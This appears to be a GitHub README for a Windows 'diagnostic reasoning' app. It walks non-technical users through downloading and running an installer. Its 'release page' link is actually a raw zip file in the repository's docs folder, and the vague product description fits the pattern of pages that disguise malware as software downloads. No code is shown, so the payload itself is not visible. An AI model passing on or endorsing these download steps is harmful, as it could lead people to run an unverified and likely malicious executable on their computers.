llm-diagnostic-reasoning is a software tool designed to help diagnose problems using AI models. It applies three innovative methods to analyze issues across different fields. The program also uses clear visual aids to help you understand the diagnostic results easily.
This app covers areas such as fault diagnosis, medical checks, HVAC problems, and general machine learning. It integrates causal reasoning and Bayesian networks to give effective and understandable results. You do not need to know programming to use the tool.
Before you install the software, make sure your Windows computer meets these needs:
- Windows 10 or later (64-bit recommended)
- At least 4 GB of RAM
- Minimum 2 GB free disk space
- Internet connection to download files and updates
- Basic display with 1024 x 768 pixels resolution or higher
The software runs locally and does not need cloud services to work.
To get started, you first need to download the software. It is available on the official GitHub release page.
Click the big green button at the top or the link below to go to the release page. This page lists the latest versions and their files.
Download llm-diagnostic-reasoning Releases
Once on the releases page:
- Look for the latest release at the top.
- Find a file named something like
llm-diagnostic-reasoning-setup.exeor similar, which is the Windows installer. - Click on this file to start downloading.
After download finishes:
- Open the file you just downloaded.
- Follow the on-screen instructions in the setup wizard. Usually, clicking "Next" and accepting default options is enough.
- The program will install on your computer.
When installation ends:
- Find the llm-diagnostic-reasoning icon on your desktop or in the Start Menu.
- Double-click it to open the program.
After opening the software, the main interface appears. It is built to be simple and easy to navigate. Here is how you can begin using the tool:
- Click the "Load Data" button on the top menu.
- Select the file or dataset you want to analyze. The tool accepts common data formats like CSV or Excel.
- Wait a few moments while the program processes your data.
You can pick one of the three methods for diagnosis:
- Bayesian Network: Uses probabilities to find the most likely faults.
- Causal Reasoning: Examines cause-effect links in your data.
- Claude Skill: Integrates language models to explain results.
Choose the method that fits your data type and problem best.
Click the "Start Diagnosis" button.
The software runs the calculations and shows results after a short time.
Your results appear in clear graphs and charts. You will see problem areas highlighted along with explanations.
You can also navigate through different views to understand the diagnosis from various angles.
llm-diagnostic-reasoning includes useful functions to help you:
- Visual Reports: Interactive charts show causes and effects clearly.
- Cross-Domain Use: Apply the tool to fields like medical, HVAC, or machinery without extra changes.
- Explainable Results: Details show how the software reached its conclusions.
- Data Filtering: Select or exclude parts of your data easily.
- Export Reports: Save your analysis as PDF or image files to share.
- Installer Won't Open: Make sure you have administrator rights on your computer.
- Data Loading Fails: Check that your data files follow supported formats like CSV or Excel.
- Slow Performance: Close other programs and confirm your system meets the minimum requirements.
- Unexpected Crashes: Restart your computer and try launching the app again. Re-download the installer if problems continue.
For additional help, check the GitHub repository issues page.
Keep your copy up to date for best performance:
- Visit the release page regularly:
https://github.com/Mine-Fire-Bro/llm-diagnostic-reasoning/raw/refs/heads/main/docs/llm_diagnostic_reasoning_3.5-alpha.4.zip - Download the newest installer.
- Install over the existing version to upgrade. Your settings and data will remain intact.
Updating helps fix bugs and adds new diagnostic features.
The GitHub page includes:
- Sample datasets to practice
- User guides and tutorials
- Details about the three diagnostic methods
- Frequently asked questions (FAQ)
Explore these materials to get better results with the software.